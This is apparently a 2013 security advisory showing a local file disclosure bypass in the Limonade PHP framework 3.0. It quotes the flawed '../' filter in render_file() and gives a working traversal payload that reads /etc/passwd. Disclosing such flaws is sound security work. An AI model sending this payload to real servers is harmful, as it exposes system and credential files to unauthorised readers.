################################################################################################################################### # Exploit Title: Limonade framework Local file disclosure filtering bypass # Date: 2013 17 November # Exploit Author: Yashar shahinzadeh # Special thanks to Mormoroth # Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir # Vendor Homepage: http://limonade-php.github.io/‎ # Tested on: Linux (Ubuntu), PHP 5.3.10-1ubuntu3.8 with Suhosin-Patch # Affected Version : 3.0 (Last) # # Contacts: {http://Twitter.com/YShahinzadeh, http://y-shahinzadeh.ir, http://Twitter.com/Mormoroth, http://mormoroth.ir} ################################################################################################################################### 1. Filtering bypass =================== Limonade is a light framework suffering from Local file disclosure, following lines written at lib/limonade.php make the vulnerability: File: lib/limonade.php ... ... function render_file($filename, $return = false) { # TODO implements X-SENDFILE headers // if($x-sendfile = option('x-sendfile')) // { // // add a X-Sendfile header for apache and Lighttpd >= 1.5 // if($x-sendfile > X-SENDFILE) // add a X-LIGHTTPD-send-file header // // } // else // { // // } $filename = str_replace('../', '', $filename); if(file_exists($filename)) { $content_type = mime_type(file_extension($filename)); $header = 'Content-type: '.$content_type; if(file_is_text($filename)) $header .= '; charset='.strtolower(option('encoding')); send_header($header); return file_read($filename, $return); } else halt(NOT_FOUND, "unknown filename $filename"); } ... ... str_replace() function has been used in inefficient way which reasults in having LFD hole. Following piece of code can be used to demonstrade it: What will happen if HTTP request below is sent: ....//....//....//....//etc/passwd Apparently, immediate filtering system applies a replacement which produces: ../../../../etc/passwd Here is the exploit: Illustration: http://blog.y-shahinzadeh.ir/posts-images/limonade/1.jpg /** Yasshar shahinzadeh **/